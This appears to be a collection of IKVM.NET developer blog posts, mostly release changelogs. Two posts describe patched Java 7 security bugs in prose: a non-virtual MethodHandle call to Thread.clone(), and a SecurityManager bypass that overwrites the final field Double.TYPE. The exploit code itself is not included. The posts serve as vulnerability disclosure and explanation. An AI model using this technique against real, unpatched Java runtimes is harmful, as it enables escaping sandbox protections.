Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

• Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
• Changed ikvmc to default to using runtime binding when a class is not available at compile time.
• Fixed ikvmc to use jar class loading that matches the runtime.
• The runtime now projects stub classes into the (virtual file system) jars they came from.
• Runtime stub classes are now generated by the same code as ikvmstub uses.
• Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
• Fixed memory model bugs on ARM.
• Many bug fixes.
• Improved ikvmc error messages.
• Deprecated using stub classes with ikvmc.
• Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
• Font API improvements.
• Graphics API improvements.
• Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

• Volatile long/double fields should not use slow reflection.
• Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
• Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
• Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

My burst of inspiration ended. So I guess it's time to do a release soon.

Changes:

• Expose Java 8 static interface methods as static methods via nested __Methods type.
• Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
• Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
• Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

I'm still working on issues resulting from the big change. There are some more known issues and probably a few unknown ones. However, I couldn't help myself and decided to a little bit of work on Java 8 support. If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java 8 class files that use the new static and default interface method features.

There is no interop with other .NET languages yet, so you won't be able to call static interface methods from (e.g.) C# or take advantage of default interface method implementations. The interop story for default interface methods isn't going to be great even when it is done. You'll have to manually call the default methods in your C# code. Something like this:

class MyCSharpClass : SomeJavaInterface {
   public void method() {
      SomeJavaInterface.__DefaultMethods.method(this);
   }
}

Changes:

• Optimized some dynamic binding operations.
• Switched dynamic field binding to method handles.
• Removed "effectively final" optimization because it breaks the ability to dynamically load subclasses.
• Added experimental support for static methods in interfaces (for Java 8 class files).
• Added experimental support for default interfaces methods (for Java 8 class files).
• Fixed an ikvmc crash when a member is accessed on a type from a missing assembly.
• Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text.
• Bug fix. Don't implement interfaces that aren't accessible.
• Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented replaceRange.
• Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.

Binaries available here: ikvmbin-7.3.4817.zip

Another week, another snapshot.

Changes:

• Fixed several annotation encoding issues in new stub class generator.
• Added back support for exporting annotations in .NET assembly stub classes.
• Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already have an explicit ObsoleteAttribute annotation.
• Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
• Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.
• Added license headers to build scripts.
• Made boot class package handling simpler (more OpenJDK based). The package information is now read from the manifest instead of hard coded.

Binaries available here: ikvmbin-7.3.4811.zip

I finally created a github repository for ikdasm. A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable generating pseudo custom attributes). I added external module support and fixed some other small issues.

The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete. I believe it now exposes all relevant Managed PE file features. The secondary feature is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm quirks to enable comparing the output files. I disassembled a large number of files (including C++/CLI and Managed C++ files) and compared the results.

Only a small subset of ildasm functionality has been cloned. There is no GUI and most command line options are also not implemented.

Pull requests are welcome.

Still more changes to better support what I'll start calling "mixed mode" (i.e. ikvmc compiled assemblies that use dynamically loaded classes or use dynamic binding to classes in another assembly).

Another change is that runtime stub class generation is now based on the ikvmstub class file writer, instead of the very old code that was reflection based. This means that stubs can now acurately be generated even when some of the types involved are not available.

Changes:

• Refactored assembly class loading.
• Added ikvm.runtime.EnumerationWrapper to expose an IEnumerable as a java.util.Enumeration.
• Removed the old runtime Java stub class generator and replaced it with the ikvmstub core.
• Allow dynamic class loading from boot class "path" and referenced assemblies.
• Regression fix. The previous custom assembly class loader construction rewrite introduced a bug.
• Bug fix. MethodHandle should be able to call dynamic only methods.
• Bug fix. MethodHandle to Object.clone/finalize should be special cased.
• Reimplemented dynamic binding on top of MethodHandles.

Binaries available here: ikvmbin-7.3.4804.zip

A quick update because the previous snapshot had a bug that caused ikvmc to be completely broken on the CLR x86 JIT.

Changes:

• Changed build to explicitly exclude the classes that are already defined in map.xml.
• Changed ikvmc to add uncompilable classes loaded from the file system to classes.jar.
• Changed ikvmc to copy zip file comment.
• Changed ikvmc to emit a warning if a remapped type duplicates a loaded class.
• Removed CallerID optimization special casing since we can now call internal members from dynamic assemblies.
• Added some version information to the Internal Compiler Error message.
• Added some version information to runtime critical failure.
• Fixed AttributeHelper to have a deterministic class constructor.
• Bug fix. Disallow invalid class names in AssemblyClassLoader.loadClass().
• Removed the special casing of generic type definition loading as we've since exposed the generic type definitions to Java.
• Some beginnings of class loading refactoring.

Binaries available here: ikvmbin-7.3.4799.zip

Lot's of changes in just a week. The most interesting one being that ikvmc and the runtime now work together to project all the classes that were in the original jars compiled by ikvmc are now visible in the same (virtual) jars at runtime.

To avoid making the generated assemblies much bigger, this is implemented by having ikvmc generate a compressed file called --ikvm-classes--/ in the resources jar that contains the names of the classes compiled from this jar. This typically adds about 0.5% size overhead. At runtime when that jar is read in by java.util.zip.ZipFile it expands the list of class names to create virtual ZipEntries. Only when a virtual class resource is accessed is the class stub generated.

Changes:

• Fixed ikvmc to give a proper error message if it fails to write to the output file.
• If a class can't be statically compiled due to a missing base class/interface, include it as a resource.
• Modified the assembly class loader to try to load classes from resources.
• Made dynamic binding to unloadable types the default (for ikvmc).
• Added -static option to ikvmc to disable dynamic binding.
• Unified all ikvmc filename validation.
• Implemented StandardGlyphVector.getGlyphOutline().
• Bug fix. When looking for a method to override we should handle internal access methods.
• Fixed some runtime memory model issues (for non-x86 architectures).
• Bug fix. Custom attribute annotation should skip indexer properties.
• Bug fix. The available() method of the InputStream returned by ZipFile.getInputStream() was based on ZipEntry passed in, instead of the actual one.
• Fixed ikvmc to suppress "class not found" warning for a classes that fails to compile for any reason (because we've already given a warning about it).
• Bug fix. Don't look for main method in excluded classes.
• Unified the handling of resources and classes in ikvmc.
• Include all uncompilable .class files (from jars) into the resource jars.
• Project stub classes into the jar the classes originated from.
• Fixed ikvmc to prefer the last jar entry if there are duplicate entries. This mirrors the behavior of Java and dynamic mode.
• Fixed ikvmc to compare extensions case sensitive to find .class files.
• Fixed ikvmc to use the jar entry name, instead of the class name to load classes.
• Removed exclude.lst left over from ancient times.
• Removed META-INF/mailcap.default and META-INF/mimetypes.default resources that are no longer in resources.jar.
• Changed ikvmc -recurse: option to give a fatal error if it matches no files.

Binaries available here: ikvmbin-7.3.4796.zip

The recent architectural change makes it possible for the static compiler to use dynamic binding when it encounters a missing type. This in turn makes the dynamic binding support more important, so I've been fixing a lot of bugs in this area.

Currently, ikvmc will still emit code that statically throws a NoClassDefFoundError when accessing missing types, but in the future the default will change to generate dynamic binding code in this case.

Changes:

• Fixed a bug with Graphics.setComposite(x). This fixes most paint artefacts of Nimbus L&F.
• Fixed a NPE in constructor of BufferedImage.
• Fixed TexturePaint bugs.
• Enable ldc to work for unloadable types in dynamic mode.
• Changed dynamic bytecode helper methods to be CallerID based instead of trusting the caller to provide the right context type handle.
• Use sun.launcher.LauncherHelper to make the launcher more consistent with Java.
• Implemented package access checks in dynamic mode.
• Fixed reflection handling of unloadable types.
• Added CodeGenOptions.DisableDynamicBinding to disable dynamic binding, instead of conditional compilation.
• Bug fix. Dynamic method invocations should unwrap InvocationTargetException.
• Bug fix. Dynamic instantiation should throw InstantiationError when trying to instantiate an abstract class.
• Bug fix. Dynamic invokespecial (that isn't a new) should fail verification.
• Bug fix. Dynamic method lookup should also look in base classes (for non-constructor methods).
• Bug fix. When dynamically calling a non-constructor instance method, the receiver object should be of the correct type.
• Added support for setPaint with custom Paint implementation.
• Added support for dynamic (non-loadable type) annotations in statically compiled code.
• Have ikvmc record inner classes even if they can't be loaded.
• Have ikvmc record the outer class even if it is not loadable.
• Bug fix. If the runtime tries to load a class from an assembly with a custom assembly class loader, the custom assembly class loader should be called. Previously it would only be called if the Java class loader had been instantiated.
• Bug fix. We should emit miranda methods for non-abstract classes too.
• Bug fix. Mark "missing" interface methods so that subclasses (that are compiled separately) know that the base class is incomplete.
• Allow dynamic assemblies injected into assembly class loaders to be (debug dump) saved.
• Changed the build system to automatically scan all sources files for copyright statements and validate that all GPL licensed files include the Classpath exception.
• Removed resource compiler dependency from JVM.DLL build.
• Bug fix. Custom assembly class loader was made visible to other threads while it was still being constructed.
• Stop considering ACC_SUPER when linking invokespecial (unless compatibility switch is set). This change matches the security change in Java 7u13.
• Improved ldc MethodType: Use nested type with class constructor to create values with statically know signatures (like ldc MethodHandle).
• Improved ldc MethodType: Use caching for dynamicallly constructed MethodType values but retry on failure.
• Fixed dynamic dispatch class loading exception handling to wrap non-java.lang.Error exceptions in NoClassDefFoundError.
• Added support for dynamic ldc MethodHandle.
• Added support for dynamically linking the boostrap method of an invokedynamic.
• IKVM.Reflection: Expose the Name and __ModuleHash for missing external Modules.
• IKVM.Reflection: Regression fix. The AssemblyNames returned by Module.__GetReferencedAssemblies() didn't have the ContentType set for windowruntime assembly references.
• IKVM.Reflection: Added new public API Module.__ResolveTypeSpecCustomModifiers() to resolve the (useless) custom modifiers that can be put on TypeSpecs.
• IKVM.Reflection: Added another overload of the public API Module.__GetSectionInfo() that returns more information about the section.
• IKVM.Reflection: Bug fix. The OriginalFilename in the version info resource should only include the filename, not the path.

Binaries available here: ikvmbin-7.3.4790.zip

I finally fixed the limitation that classes dynamically loaded by an assembly class loader can't access the internals of the assembly.

Here's a simple demonstration of the problem. Suppose you have these two classes:

class Other {
  static {
    Test.m();
  }
}

class Test {
  public static void main(String[] args) throws Exception {
    Class.forName("Other");
  }
  static void m() {
    System.out.println("Test.m");
  }
}

Now if you compile Test.class (without Other) into an assembly with a ClassPathAssemblyClassLoader and run this with IKVM.NET 7.2 you'll see something like this:

The call from Other to Test fails with a MethodAccessException, because the dynamic assembly does not have access to the internal members of the Test.exe assembly.

Long ago I considered fixing this by adding an InternalsVisibleToAttribute to all statically compiled assemblies that allows the runtime generated dynamic assembly access to its internals, but I dismissed this because it would mean that untrusted code could abuse this same assembly identity to access the internals of any ikvmc compiled assemblies.

Forging a StrongNameKeyPair

Yesterday I realized that I could use InternalsVisibleToAttribute without opening a security hole. When the IKVM runtime is running as fully trusted code, it can forge a StrongNameKeyPair to attach to the dynamic assemblies it generates and thereby gain access to the statically compiled assemblies, without giving untrusted code the same access.

The only downside to this approach is that it relies on an implementation detail of the CLR (and Mono). I try to stay away from depending on implementation details, but in this case the gain far outways any risk.

Using It From C#

It also works for your C# assemblies. By adding a custom attribute, you can now enable dynamically loaded Java classes access to your assembly internals.

Here's a C# example:

Here we create a Proxy for the non-public interface IFoo. This is allowed because of the InternalsVisibleToAttribute that gives access to an assembly named DemoApp-ikvm-runtime-injected with the specified public key. The name of the assembly must be the name of the current assembly (in this example "DemoApp") with "-ikvm-runtime-injected" appended. The public key is always the same. The corresponding private key does not exist.

Development Snapshot

Please note that this is a development snapshot, not a release or release candidate. So consider it untested.

Changes:

• Use InternalsVisibleToAttribute to allow the runtime to dynamically inject classes into statically compiled assemblies.
• Stop generating proxy helpers for non-public interfaces.
• Added support for RadialGradientPaint in Graphics.setPaint().

Binaries available here: ikvmbin-7.3.4772.zip

The recent Windows RT jailbreak enabled me to run IKVM on my Surface RT. Out of curiousity I decided to run a part of the test suite. Only three tests failed, one because it relies on specific GC behavior and two because they use JVM.DLL. Previously, IKVM's JVM.DLL assemblies were created with ilasm, because that was the easiest way to create unmanaged exports at the time. However, ilasm doesn't seem to support ARM, so I added this support to IKVM.Reflection and wrote a simple tool to generate unmanaged export assemblies. Of course, supporting unmanaged exports on Windows RT in IKVM.Reflection is not very useful, but it was an interesting exercise to learn a little bit about the ARM instruction set.

I also did some more useful work. I finally got around to changing how ikvmc handles assembly references. It now works like the C# compiler and uses the IKVM.Reflection support for missing assemblies that I added for mcs. This means that it no longer automatically loads assemblies (apart from the IKVM runtime and class library assemblies) and you need to add explicit references for indirectly used assemblies as well. The downside is that this has the potential to break some builds, but the upside is that the compilation process is now more predictable and only loads the actually required assemblies, like a "real" compiler, instead of the System.Reflection heritage that required loading even unused dependencies.

Another change is that ikvmstub jars are now officially deprecated from being used with ikvmc (it will still work for a while, but a warning message is issued).

Finally, it is now illegal to explicitly reference a secondary assembly in a shared class loader group. Previously this caused a warning message, but now this is an error. You need to reference the primary assembly.

Changes:

• Deduplicate ikvmc messages based on all parameter values, not just the first one.
• Allow ikvmc messages to be suppressed based on any number of parameter values.
• Fixed ikvmc to write fully specific -nowarn options to suppress file.
• Fixed ikvmc to handle missing types.
• Added ikvmc support for missing assemblies.
• Officially deprecated using stubs with ikvmc.
• Bug fix. Don't add duplicate methods to attribute annotation interfaces. The primary cause of this was attributes with virtual properties where we would add the base class property as well as the derived class overridden property.
• Changed build process to replace ilasm usage to generate JVM.DLL with a custom tool.
• Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788.
• Changed ikvmc to give an error message (instead of a warning) when referencing a secondary assembly from a shared class loader group).
• Made ikvmc EditorBrowsableAttribute construction fully symbolic, to avoid having to load System.dll.
• Disabled automatic assembly loading for ikvmc.
• Suppress ikvmc warnings after an error has occurred (to avoid obscuring the fact that compilation failed).
• IKVM.Reflection: Added UniverseOptions.ResolveMissingMembers and deprecated EnableMissingMemberResolution().
• IKVM.Reflection: Added Universe.ResolvedMissingMember event.
• IKVM.Reflection: Fixed importing of CLR types with funny names (where we'd previously run into bugs in CLR's Type.Name and Type.Namespace).
• IKVM.Reflection: Restructured relocation writing to pack all relocation in a page in the same block, as WoA apparently requires this.
• IKVM.Reflection: Implemented ARM startup stub.
• IKVM.Reflection: Implemented ARM unmanaged exports.

Binaries available here: ikvmbin-7.3.4764.zip

An updated release with a couple of bug fixes.

Changes (relative to 7.2):

• Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called from another thread than the one initiating exit.
• Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces in another assembly.
• Bug fix. Don't add duplicate methods to attribute annotation interfaces.
• Bug fix. Local variable analysis for finally blocks was incorrect. Fixes bug #3600788.

Binaries available here: ikvmbin-7.2.4630.6.zip

Sources: ikvmsrc-7.2.4630.6.zip, openjdk-7u6-b24-stripped.zip 

I've been busy with other stuff, but I did manage to fix a couple of bugs and add a new feature. So a new development snapshot.

Changes:

• .NET resources in non-Java assemblies are now exposed as Java resources.
• Added IKVM.Attributes.JavaResourceAttribute to publish .NET resource to Java under a different name.
• Bug fix. Don't deadlock AppDomain.ProcessExit event handler when the event gets called from another thread than the one initiating exit.
• Minor optimization. Only register the AppDomain.ProcessExit event handler when necessary.
• Bug fix. Private methods declared in map.xml should not be made virtual.
• Support "attributes" attribute on method tag in map.xml for methods declared in remapped types.
• Recognize methods in remapped types with the "__<" name prefix as HideFromJava.
• Bug fix. Static compiler should not use proxy stubs to implement non-public interfaces in another assembly.
• IKVM.Reflection: Implemented __ContainsMissingType for function pointer types.
• IKVM.Reflection: Changed __ContainsMissingType to take custom modifiers into account.
• IKVM.Reflection: Added caching for __ContainsMissingType property to simplify the prevention of infinite recursion while evaluating generic parameter constraints.

Binaries available here: ikvmbin-7.3.4754.zip